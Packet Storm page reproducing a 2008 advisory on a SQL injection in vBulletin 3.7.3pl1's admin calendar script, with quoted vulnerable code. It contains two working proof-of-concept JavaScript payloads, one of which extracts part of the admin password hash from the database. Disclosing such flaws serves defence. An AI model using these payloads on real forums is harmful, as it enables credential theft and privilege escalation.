what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

waraxe-2008-SA068.txt

waraxe-2008-SA068.txt
Posted Nov 18, 2008
Authored by Janek Vind aka waraxe | Site waraxe.us

vBulletin version 3.7.3pl1 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 281f8824a21ee744c2e9623738b4bfcf0f02c5d55605d6775a421d5c519da677

waraxe-2008-SA068.txt

Change Mirror Download

[waraxe-2008-SA#068] - Sql Injection in vBulletin 3.7.3.pl1
===============================================================================

Author: Janek Vind "waraxe"
Date: 17. November 2008
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-68.html


Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

vBulletin (abbreviated as vB) is a commercial Internet forum software produced
by Jelsoft Enterprises. It is written in PHP using a MySQL database server.
vBulletin is a professional, affordable community forum solution. Thousands of
clients, including many industry leading blue chip companies, have chosen
vBulletin - It's the ideal choice for any size of community.

Web: http://www.vbulletin.com/


List of found vulnerabilities
===============================================================================

1. Sql Injection in "admincp/admincalendar.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Impact: low
Preconditions: attacker must have admin account with calendar administer privileges


Description
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Let's have look at "admincp/admincalendar.php" line ~867:

-------------------[original source code]------------------

if($_POST['do'] == 'saveholiday')
{
$vbulletin->input->clean_array_gpc('p', array(
'holidayid' => TYPE_INT,
'holidayinfo' => TYPE_ARRAY,
'month1' => TYPE_INT,
'day1' => TYPE_INT,
'month2' => TYPE_INT,
'day2' => TYPE_INT,
'period' => TYPE_INT,
'title' => TYPE_STR,
'description' => TYPE_STR,
));
..
$db->query_write("
UPDATE " . TABLE_PREFIX . "holiday
SET allowsmilies = " . $vbulletin->GPC['holidayinfo']['allowsmilies'] . ",
recuroption = '" . $vbulletin->GPC['holidayinfo']['recuroption'] . "',
recurring = " . $vbulletin->GPC['holidayinfo']['recurring'] . "
WHERE holidayid = " . $vbulletin->GPC['holidayid']
);

------------------[/original source code]------------------

As we can see, array-type variable 'holidayinfo' from $_POST will be used in
sql UPDATE query without any sanitization. So sql injection seems to be possible.
Let's find out about exploitability of this security issue.

\|/ PoC #1
/|\ ========

Log in as admin and open holiday manager interface:

http://localhost/vbulletin373pl1/admincp/admincalendar.php?do=updateholiday

Fill in the "title" field (content does not matter).
Next run this javascript via browser URL bar:

javascript:var w=document.getElementsByName("holidayinfo[recurring]")[0];
w.value="6,waraxe=1";document.cpform.submit();

As result, sql error can be seen similar to this:

Database error in vBulletin 3.7.3:

Invalid SQL:

UPDATE vb_holiday
SET allowsmilies = 1,
recuroption = '1|1',
recurring = 6,waraxe=1
WHERE holidayid = 2;

MySQL Error : Unknown column 'waraxe' in 'field list'


\|/ PoC #2
/|\ ========

Log in as admin and open holiday manager interface like in previous test.
Fill in title field. Then execute following javascript:

javascript:var w=document.getElementsByName("holidayinfo[recurring]")[0];
w.value="6,recuroption=CONCAT('|',(SELECT SUBSTR(password,1,5) FROM vb_user WHERE userid=1))";
document.cpform.submit();


As result we can see first five chars of admin's md5 hash:

Recurring Option Every 4ffb6 <<-- first five chars of hash


Possible impact
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Fortunately for vBulletin users this sql injection is low-impact.
It's because attacker needs to be admin with calendar administer privileges in order
to exploit this security hole. So basically we have dealing with privilege
escalation exploit, because admin with limited privileges can use sql
injection for stealing other admin's password hashes and salts from database.
And in case of successful hash cracking attacker may try to impersonate
admin with wider set of privileges. Additionally sql file-related
functionality (LOAD_FILE() for example) can be used by attacker.


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Php shell (work in progress): http://phpaxe.com/

---------------------------------- [ EOF ] ---------------------------------
Login or Register to add favorites

File Archive:

November 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    1 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    0 Files
  • 5
    Nov 5th
    0 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    0 Files
  • 8
    Nov 8th
    0 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    219 Files
  • 14
    Nov 14th
    19 Files
  • 15
    Nov 15th
    66 Files
  • 16
    Nov 16th
    38 Files
  • 17
    Nov 17th
    9 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    11 Files
  • 22
    Nov 22nd
    56 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    36 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    14 Files
  • 28
    Nov 28th
    30 Files
  • 29
    Nov 29th
    35 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close